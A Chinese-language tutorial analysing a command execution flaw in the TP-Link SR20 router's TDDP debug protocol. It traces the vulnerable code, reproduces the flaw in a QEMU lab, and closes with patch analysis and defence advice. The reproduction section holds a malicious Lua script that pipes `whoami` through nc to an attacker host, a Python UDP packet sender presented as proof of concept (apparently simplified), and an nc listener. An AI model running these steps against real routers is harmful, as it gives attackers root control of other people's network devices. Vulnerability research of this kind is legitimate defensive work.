TP Link SR20 ACE漏洞分析
字数 1364 2025-08-27 12:33:48
TP-Link SR20 ACE漏洞分析教学文档
1. 漏洞概述
TP-Link SR20路由器存在一个任意命令执行(ACE)漏洞,该漏洞源于TP-Link设备调试协议(TDDP)v1版本缺乏身份验证机制,允许攻击者在本地网络中以root权限执行任意命令。
2. 前置知识
2.1 TDDP协议
TP-Link Device Debug Protocol (TDDP)是TP-Link申请专利的调试协议:
- 基于UDP协议,端口1040
- 两个版本:v1和v2
- v1:无身份验证和数据加密
- v2:要求身份验证和加密
协议格式:
- 第一个字节:版本号(1或2)
- 第二个字节:类型字段(type)
2.2 C程序调用Lua脚本
漏洞利用涉及C程序调用Lua脚本执行命令:
-- demo.lua示例
function config_test(para1, para2)
os.execute("whoami")
os.execute(para1)
os.execute(para2)
end
C调用示例:
#include <lualib.h>
#include <lauxlib.h>
#include <lua.h>
int main() {
lua_State *L = luaL_newstate();
luaL_openlibs(L);
if (!luaL_loadfile(L, "./demo.lua"))
lua_pcall(L, 0, 0, 0);
lua_getglobal(L, "config_test");
lua_pushstring(L, "ls");
lua_pushstring(L, "ifconfig");
lua_call(L, 2, 0);
lua_close(L);
return 0;
}
编译命令:
gcc -o call call.c -I/usr/local/include/ -L/usr/local/lib/ -llua -lm -ldl
3. 漏洞原理
3.1 漏洞机制
- 设备运行TDDP v1协议,无需认证
- 向UDP 1040端口发送数据,第二字节为0x31时
- 设备会连接发送请求设备的TFTP服务下载文件
- 使用Lua解释器以root权限执行下载的文件
3.2 漏洞分析
关键函数调用链:
main → tddp_task_handle → tddp_type_handle → tddp_version1_type_handle → CMD_FTEST_CONFIG
关键代码逻辑:
tddp_version1_type_handle函数检查第二个字节(type字段)- 当type=0x31(CMD_FTEST_CONFIG)时,调用
CMD_FTEST_CONFIG函数 - 该函数构造命令
cd /tmp;tftp -gr %s %s从攻击者TFTP服务器下载文件 - 下载的文件通过Lua解释器执行,其中必须包含
config_test函数
4. 漏洞复现
4.1 环境准备
-
下载固件:
- 漏洞版本:SR20(US)_V1_180518_V1_180518.zip
- 修复版本:SR20(US)_V1_190401_V1_190401.zip
-
提取文件系统:
binwalk -Me sr20.bin
- 搭建QEMU ARM环境:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
- 配置TFTP服务器:
sudo apt install atftpd
sudo mkdir /opt/ftp_dir
sudo chmod 777 /opt/ftp_dir
sudo systemctl start atftpd
4.2 漏洞利用
- 创建恶意Lua脚本(exp.lua):
function config_test(config)
os.execute("whoami | nc 192.168.10.1 7777")
end
- 将脚本放入TFTP目录:
cp exp.lua /opt/ftp_dir/
- 在QEMU中启动tddp服务:
chroot squashfs-root sh
/usr/bin/tddp
- 发送恶意数据包(PoC):
# Python PoC示例
import socket
target_ip = "192.168.10.2" # 路由器IP
target_port = 1040
# 构造恶意数据包
payload = b"\x01\x31" + b"A"*10 # version=1, type=0x31
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (target_ip, target_port))
- 监听命令执行结果:
nc -lvnp 7777
5. 补丁分析
修复方式:
- 在更新版本中完全移除了
CMD_FTEST_CONFIG(0x31)对应的处理代码 - 通过Bindiff对比可见
tddp_version1_type_handle函数中相关基本块被删除
6. 漏洞影响与限制
- 影响:本地网络中以root权限执行任意命令
- 限制:
- 只能通过有线网络访问TDDP服务
- 无法通过Wi-Fi利用
- 需要本地网络访问权限
7. 防御建议
- 升级到最新固件版本
- 禁用TDDP v1协议
- 配置网络防火墙阻止UDP 1040端口的外部访问
- 使用TDDP v2协议替代v1